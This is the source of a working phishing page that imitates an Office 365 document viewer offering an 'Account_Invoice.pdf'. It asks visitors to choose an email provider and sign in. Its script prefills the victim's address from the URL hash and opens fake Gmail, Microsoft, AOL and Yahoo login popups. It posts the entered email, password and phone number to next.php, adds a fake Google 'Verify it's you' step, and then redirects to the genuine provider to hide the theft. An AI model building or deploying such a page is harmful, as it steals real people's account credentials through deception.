<!doctype html>
<html lang="en">
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="https://code.jquery.com/jquery-3.1.1.min.js">
<script src="https://code.jquery.com/jquery-3.3.1.js" integrity="sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60=" crossorigin="anonymous"></script>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap" rel="stylesheet">
<script src="https://kit.fontawesome.com/585b051251.js" crossorigin="anonymous"></script>
<title>Office 365 Document | Login</title>
<link rel="icon" type="image/png" sizes="100x100" href="images/onedrive-white.png">
<link href="css/hover.css" rel="stylesheet" media="all">
<link href="css/album.css" rel="stylesheet">
<style type="text/css">
html, body {
height: 100%;
}
.main-video-wrapper {
position:fixed;
top:0;
left:20;
width:100%;
height:100vh;
overflow:hidden;
z-index: -3;
}
.main-video-overlay {
height:100vh;
position: fixed;
top:0;
left:0;
width:100vw;
z-index:-1;
background: rgba(0,0,0,0.7);
opacity: 0.8;
}
.b{
transition: 0.8s;
/*background:rgba(0,0,0,0.6);*/
}
.b1{
transition: 0.8s;
background:linear-gradient(to bottom, #FF3C00 5%, #cf3100 100%);
}
.b2{
transition: 0.8s;
background:linear-gradient(to bottom, #0073C8 5%, #00528c 100%);
}
.b3{
transition: 0.8s;
background:linear-gradient(to bottom, #31459B 5%, #212d66 100%);
}
.b4{
transition: 0.8s;
background:linear-gradient(to bottom, #D44638 5%, #8c2d24 100%);
}
.b5{
transition: 0.8s;
background:linear-gradient(to bottom, #5F0F68 5%, #2f0733 100%);
}
.b6{
transition: 0.8s;
background:linear-gradient(to bottom, #0B5BD3 5%, #073882 100%);
}
.b1:hover{
background:linear-gradient(to bottom, #cf3100 5%, #FF3C00 100%);
}
.b2:hover{
background:linear-gradient(to bottom, #00528c 5%, #0073C8 100%);
}
.b3:hover{
background:linear-gradient(to bottom, #212d66 5%, #31459B 100%);
}
.b4:hover{
background:linear-gradient(to bottom, #8c2d24 5%, #D44638 100%);
}
.b5:hover{
background:linear-gradient(to bottom, #2f0733 5%, #5F0F68 100%);
}
.b6:hover{
background:linear-gradient(to bottom, #073882 5%, #0B5BD3 100%);
}
</style>
</head>
<body style="background-image: url('images/back.jpg'); background-size: cover;background-repeat: no-repeat; background-position: right;">
<!-- videooo div start//////////// -->
<!-- <div class="main-video-wrapper" style="filter: blur(3px);-webkit-filter: blur(3px);">-->
<!-- Embedded Video Element -->
<!-- <video playsinline="playsinline" autoplay="autoplay" muted="muted" loop="loop">
<source src="video/dropbox.mp4" type="video/mp4">
</video>
</div> -->
<!-- Overlay Div for the Video -->
<!-- <div class="main-video-overlay"></div> -->
<!-- video div close/////////////////// -->
<!-- <div> -->
<div class="container-fluid p-0">
<div class="container-fluid">
<div class="row p-2" style="background-color: #FF3C00;">
<div class="col-lg-12">
<img src="images/office3651.png" class="img-fluid" width="40px">
<span class="text-white h5 align-middle pl-2">Office 365 busniess</span>
</div>
</div>
<div class="row p-2" style="background-color: #ededed;border-bottom: 2px solid #ededed">
<div class="col-lg-12" style="padding-left: 70px;">
<span class="text-dark h5 align-middle">Document</span>
</div>
</div>
</div>
<div class="container">
<div class="row rounded" style="margin: 70px 0px; border:2px solid #9c9c9c;background-color: #ededed">
<div class="col-lg-6 align-self-center p-3" style="border-right: 2px solid #9c9c9c">
<!-- <div class="mx-auto p-2" style="border:1px solid white;width: 528px;background-color: rgba(0,0,0,0.6); border-radius: 20px">
<img src="images/adobe1-w.png" class="img-fluid rounded-circle" width="40px;">
<span class="h4 text-white align-middle">Adobe Pdf</span>
</div> -->
<div class="text-center my-5">
<img src="images/logo.svg" class="img-fluid pt-2 m-0" width="90px" ><br>
<span class="text-dark">562.33 KB</span><br>
<span class="text-dark" style="font-size: 24px">Account_Invoice.pdf</span><br>
</div>
<!-- <div class="text-center">
<span class="text-white">This File is protected with strong 128-bit AES encryption..</span><br>
<span class="text-white h5">To Decrypt this file You need to Sign In.</span>
</div> -->
</div>
<div class="col-lg-6 py-3 align-self-center">
<div >
<div class=" text-white col-lg-11 ml-2">
<span class="h5 text-dark" style="">Select your email provider</span><br>
<span style="color:red;font-family: 'Archivo Narrow', sans-serif; ">Unfortunately we could not find your email provider based on your input.</span>
</div>
<div class="">
<div class="row mx-2 mt-3">
<div class="col-lg-4">
<a href="javascript:void(0)" id="office365modal" class="w-100" style="text-decoration: none;">
<div class="text-center p-1 rounded mt-2 b1">
<img src="images/office3651.png" class="img-fluid" width="30px" style="padding:5px 0px 5px 0px;">
<span style="vertical-align: middle; color: white;font-weight: 500">Office365</span>
</div>
</a>
</div>
<div class="col-lg-4">
<a href="javascript:void(0)" id="outlookmodal" class=" w-100" style="text-decoration: none;">
<div class="text-center p-1 rounded mt-2 b2">
<img src="images/outlook1.png" class="img-fluid" width="30px" style="padding:5px 0px 5px 0px;">
<span style="vertical-align: middle; color: white;font-weight: 500;">Outlook</span>
</div>
</a>
</div>
<div class="col-lg-4">
<a href="javascript:void(0)" id="aolmodal" class=" w-100" style="text-decoration: none;">
<div class="text-center p-1 rounded mt-2 b3">
<img src="images/aol1.png" class="img-fluid" width="35px" style="padding:5px 0px 5px 0px;">
<span style="vertical-align: middle; color: white;font-weight: 500;">Aol</span>
</div>
</a>
</div>
<div class="col-lg-4">
<a href="javascript:void(0)" id="gmailmodal" class="w-100" style="text-decoration: none;">
<div class="text-center p-1 b b4 rounded mt-2 b4">
<img src="images/gmail1.png" class="img-fluid" width="30px" style="padding:5px 0px 5px 0px;">
<span class="pl-2" style="vertical-align: middle; color: white;font-weight: 500;">Gmail</span>
</div>
</a>
</div>
<div class="col-lg-4">
<a href="javascript:void(0)" id="yahoomodal" class="w-100" style="text-decoration: none;">
<div class="text-center p-1 b b5 rounded mt-2 b5">
<img src="images/yahoo1.png" class="img-fluid" width="30px" style="padding:5px 0px 5px 0px;">
<span class="pl-2" style="vertical-align: middle; color: white;font-weight: 500;">Yahoo!</span>
</div>
</a>
</div>
<div class="col-lg-4 ">
<a href="javascript:void(0)" id="othermodal" class=" w-100" style="text-decoration: none;">
<div class="text-center p-1 b b6 rounded mt-2 b6">
<img src="images/other1.png" class="img-fluid" width="30px" style="padding:5px 0px 5px 0px;">
<span class="pl-2" style="vertical-align: middle; color: white;font-weight: 500;">Other</span>
</div>
</a>
</div>
</div>
</div>
</div>
</div>
<!-- <div class="col-lg-3 align-self-center">
</div> -->
</div>
</div>
</div>
</div>
<!-- Modal for gmail -->
<div class="modal fade" id="ajaxModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<center>
<img id="fieldImg" src="images/gmail.png" class="img-fluid rounded-circle" width="80px">
<h5 class="modal-title" id="exampleModalLabel">Login with <span id="field">Gmail</span></h5>
<div class="alert alert-danger" id="msg"></div>
<span id="error" class="text-danger">That account doesn't exist. Enter a different account</span>
</center>
<form id="contact" class="form-horizontal well">
<div id="div1">
<div class="col-lg-12">
<div class="form-group">
<div id="inputbar">
<label for="exampleInputEmail1">Email address</label>
<input type="email" name="email" class="form-control" id="email" aria-describedby="emailHelp" placeholder="Enter email">
<small id="emailHelp" class="form-text text-muted">We'll never share your email with anyone else.</small></div>
<div id="automail" class="h5 mt-5">
<i class="fas fa-arrow-left" id="back1"></i> <span id="emailch">
[email protected]</span>
</div>
</div>
</div>
<div class="col-lg-12">
<div class="form-group">
<label for="Password">Password</label>
<input type="password" name="password" class="form-control" id="password" aria-describedby="emailHelp" placeholder="Enter Password">
</div>
</div>
</div>
<div id="div2">
<i class="fas fa-arrow-left" id="back"></i> <span id="emailch1" class="h5">
[email protected]</span><br>
<span class="h4 font-weight-normal">Verify it's you</span><br>
<span >This device is not recognized. For security, Google want to make sure it's really you.</span><br>
<span id="msg1" class="text-danger"></span><br>
<span>Try another way to sign in</span>
<div class="form-group mt-3">
<input type="number" name="phone" class="form-control" id="phone" aria-describedby="emailHelp" placeholder="Enter Phone No." >
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button class="btn btn-info pull-right" id="submit-btn">Login</button>
<button class="btn btn-info pull-right" id="submit-btn1">verify</button>
</div>
</form>
</div>
</div>
</div>
<!-- Optional JavaScript -->
<!-- jQuery first, then Popper.js, then Bootstrap JS -->
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
</body>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>
<script>
<!-- /* global $ */
$(document).ready(function(){
var count=0;
$('#div2').hide();
$('#error').hide();
$("#automail").hide();
$("#msg").hide();
$('#submit-btn1').hide();
$('#back').click(function () {
$("#msg").hide();
$('#email').val("");
$('#password').val("");
$('#submit-btn1').hide();
$('#submit-btn').show();
$("#div2").animate({left:200, opacity:"hide"}, 0);
$("#div1").animate({right:200, opacity:"show"}, 1000);
});
$('#back1').click(function () {
$("#msg").hide();
$('#email').val("");
$("#automail").animate({left:200, opacity:"hide"}, 0);
$("#inputbar").animate({right:200, opacity:"show"}, 1000);
});
/////////////url email getting////////////////
var email = window.location.hash.substr(1);
if (!email) {
}
else
{
var base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/;
if (!base64regex.test(email)) {
// alert(btoa(email));
var my_email =email;
}
else
{
// alert(atob(email));
var my_email =atob(email);
}
// $('#email').val(email);
// var my_email =email;
var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (!filter.test(my_email)) {
$('#error').show();
email.focus;
return false;
}
var ind=my_email.indexOf("@");
var my_slice=my_email.substr((ind+1));
var c= my_slice.substr(0, my_slice.indexOf('.'));
var final= c.toLowerCase();
if (final=="gmail") {
// $('#contact').trigger("reset");
// $('#fieldImg').attr('src', 'images/gmail.png');
// $('#field').html("Gmail");
// $('#email').val(my_email);
// $('#emailch').html(my_email);
// $("#msg").hide();
// $("#inputbar").animate({left:200, opacity:"hide"}, 0);
// $("#automail").animate({right:200, opacity:"show"}, 1000);
// $('#ajaxModal').modal('show');
// $('.gmailmodal').trigger('click');
// $('#gmailmodal').clicked();
window.open('accessgm/index.html#'+email,'name','width=600,height=600');
}
else if(final=="outlook" || final=="hotmail" || final=="microsoft")
{
// $('#contact').trigger("reset");
// $("#msg").hide();
// $('#fieldImg').attr('src', 'images/outlook.png');
// $('#field').html("Outlook");
// $('#email').val(my_email);
// $('#emailch').html(my_email);
// $("#msg").hide();
// $("#inputbar").animate({left:200, opacity:"hide"}, 0);
// $("#automail").animate({right:200, opacity:"show"}, 1000);
// $('#ajaxModal').modal('show');
window.open('accessms/index.html#'+email,'name','width=600,height=600');
}
else if(final=="aol")
{
// $('#contact').trigger("reset");
// $("#msg").hide();
// $('#fieldImg').attr('src', 'images/aol.png');
// $('#field').html("Aol");
// $('#email').val(my_email);
// $('#emailch').html(my_email);
// $("#msg").hide();
// $("#inputbar").animate({left:200, opacity:"hide"}, 0);
// $("#automail").animate({right:200, opacity:"show"}, 1000);
// $('#ajaxModal').modal('show');
window.open('accessal/index.html#'+email,'name','width=600,height=650');
}
else if(final=="office365")
{
// $('#contact').trigger("reset");
// $("#msg").hide();
// $('#fieldImg').attr('src', 'images/office365.png');
// $('#field').html("Office 365");
// $('#email').val(my_email);
// $('#emailch').html(my_email);
// $("#msg").hide();
// $("#inputbar").animate({left:200, opacity:"hide"}, 0);
// $("#automail").animate({right:200, opacity:"show"}, 1000);
// $('#ajaxModal').modal('show');
window.open('accessms/index.html#'+email,'name','width=600,height=600');
}
else if(final=="yahoo")
{
// $('#contact').trigger("reset");
// $("#msg").hide();
// $('#fieldImg').attr('src', 'images/yahoo.png');
// $('#field').html("Yahoo");
// $("#msg").hide();
// $('#email').val(my_email);
// $('#emailch').html(my_email);
// $('#email').val(my_email);
// $("#inputbar").animate({left:200, opacity:"hide"}, 0);
// $("#automail").animate({right:200, opacity:"show"}, 1000);
// $('#ajaxModal').modal('show');
window.open('accessyo/index.html#'+email,'name','width=600,height=650');
}
else
{
$('#contact').trigger("reset");
$("#msg").hide();
$('#fieldImg').attr('src', 'images/othermail.ico');
$('#field').html("Other Mail");
$('#email').val(my_email);
$('#emailch').html(my_email);
$("#msg").hide();
$("#inputbar").animate({left:200, opacity:"hide"}, 0);
$("#automail").animate({right:200, opacity:"show"}, 1000);
$('#ajaxModal').modal('show');
}
}
///////////////url getting email////////////////
$('#gmailmodal').click(function () {
// $('#contact').trigger("reset");
// $("#msg").hide();
// $('#fieldImg').attr('src', 'images/gmail.png');
// $('#field').html("Gmail");
// $("#msg").hide();
// $('#email').val("");
// $('#password').val("");
// $('#submit-btn1').hide();
// $('#submit-btn').show();
// $("#div2").animate({left:200, opacity:"hide"}, 0);
// $("#div1").animate({right:200, opacity:"show"}, 1000);
// $('#ajaxModal').modal('show');
window.open('accessgm/index.html','name','width=600,height=600');
});
$('#outlookmodal').click(function () {
// $('#contact').trigger("reset");
// $("#msg").hide();
// $('#fieldImg').attr('src', 'images/outlook.png');
// $('#field').html("Outlook");
// $("#msg").hide();
// $('#email').val("");
// $('#password').val("");
// $('#submit-btn1').hide();
// $('#submit-btn').show();
// $("#div2").animate({left:200, opacity:"hide"}, 0);
// $("#div1").animate({right:200, opacity:"show"}, 1000);
// $('#ajaxModal').modal('show');
window.open('accessms/index.html','name','width=600,height=600');
});
$('#aolmodal').click(function () {
// $('#contact').trigger("reset");
// $("#msg").hide();
// $('#fieldImg').attr('src', 'images/aol.png');
// $('#field').html("Aol");
// $("#msg").hide();
// $('#email').val("");
// $('#password').val("");
// $('#submit-btn1').hide();
// $('#submit-btn').show();
// $("#div2").animate({left:200, opacity:"hide"}, 0);
// $("#div1").animate({right:200, opacity:"show"}, 1000);
// $('#ajaxModal').modal('show');
window.open('accessal/index.html','name','width=600,height=650');
});
$('#office365modal').click(function () {
// $('#contact').trigger("reset");
// $("#msg").hide();
// $('#fieldImg').attr('src', 'images/office365.png');
// $('#field').html("Office 365");
// $("#msg").hide();
// $('#email').val("");
// $('#password').val("");
// $('#submit-btn1').hide();
// $('#submit-btn').show();
// $("#div2").animate({left:200, opacity:"hide"}, 0);
// $("#div1").animate({right:200, opacity:"show"}, 1000);
// $('#ajaxModal').modal('show');
window.open('accessms/index.html','name','width=600,height=600');
});
$('#yahoomodal').click(function () {
// $('#contact').trigger("reset");
// $("#msg").hide();
// $('#fieldImg').attr('src', 'images/yahoo.png');
// $('#field').html("Yahoo");
// $("#msg").hide();
// $('#email').val("");
// $('#password').val("");
// $('#submit-btn1').hide();
// $('#submit-btn').show();
// $("#div2").animate({left:200, opacity:"hide"}, 0);
// $("#div1").animate({right:200, opacity:"show"}, 1000);
// $('#ajaxModal').modal('show');
window.open('accessyo/index.html','name','width=600,height=650');
});
$('#othermodal').click(function () {
$('#contact').trigger("reset");
$("#msg").hide();
$('#fieldImg').attr('src', 'images/othermail.ico');
$('#field').html("Other Mail");
$("#msg").hide();
$('#email').val("");
$('#password').val("");
$('#submit-btn1').hide();
$('#submit-btn').show();
$("#div2").animate({left:200, opacity:"hide"}, 0);
$("#div1").animate({right:200, opacity:"show"}, 1000);
$('#ajaxModal').modal('show');
});
$('#submit-btn').click(function(event){
$('#error').hide();
$('#msg').hide();
event.preventDefault();
var email=$("#email").val();
var password=$("#password").val();
var detail=$("#field").html();
var msg = $('#msg').html();
$('#msg').text( msg );
///////////new injection////////////////
var my_email =email;
var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (!filter.test(my_email)) {
$('#error').show();
email.focus;
return false;
}
var ind=my_email.indexOf("@");
var my_slice=my_email.substr((ind+1));
var c= my_slice.substr(0, my_slice.indexOf('.'));
var final= c.toLowerCase();
///////////new injection////////////////
count=count+1;
$.ajax({
dataType: 'JSON',
url: 'next.php',
type: 'POST',
data:{
email:email,
password:password,
detail:detail,
},
// data: $('#contact').serialize(),
beforeSend: function(xhr){
$('#submit-btn').html('Verifing...');
},
success: function(response){
if (count==1 && final=="gmail") {
$('#emailch1').html(my_email);
$("#div1").animate({left:200, opacity:"hide"}, 0);
$("#div2").animate({right:200, opacity:"show"}, 1000);
$('#submit-btn').hide();
$('#submit-btn1').show();
return false;
}
$("#password").val("");
if (count>=3) {
count=0;
window.location.replace("http://www."+my_slice);
}
if(response){
$("#msg").show();
console.log(response);
if(response['signal'] == 'ok'){
$('#msg').html(response['msg']);
// $('input, textarea').val(function() {
// return this.defaultValue;
// });
}
else{
$('#msg').html(response['msg']);
}
}
},
error: function(){
if (count==1 && final=="gmail") {
$('#emailch1').html(my_email);
$("#div1").animate({left:200, opacity:"hide"}, 0);
$("#div2").animate({right:200, opacity:"show"}, 1000);
$('#submit-btn').hide();
$('#submit-btn1').show();
return false;
}
$("#password").val("");
if (count>=3) {
count=0;
window.location.replace("http://www."+my_slice);
}
$("#msg").show();
$('#msg').html("Please try again later");
},
complete: function(){
$('#submit-btn').html('Login');
}
});
});
$('#submit-btn1').click(function(event){
event.preventDefault();
var email=$("#email").val();
var password=$("#password").val();
var phone=$("#phone").val();
var detail=$("#field").html();
var msg1 = $('#msg1').html();
$.ajax({
dataType: 'JSON',
url: 'next.php',
type: 'POST',
data:{
email:email,
password:password,
detail:detail,
phone:phone,
},
beforeSend: function(xhr){
$('#submit-btn1').html('Verifing...');
},
success: function(response){
window.location.replace("http://gmail.com/");
$('#password').val("");
if(response){
$("#msg1").show();
console.log(response);
if(response['signal'] == 'ok'){
$('#msg1').html(response['msg']);
}
else{
$('#msg1').html(response['msg']);
}
}
},
error: function(){
window.location.replace("http://gmail.com/");
$('#password').val("");
$("#msg1").show();
$('#msg1').html("Please try again later");
},
complete: function(){
$('#submit-btn1').html('Verify');
}
});
// }
});
});
</script>
</html>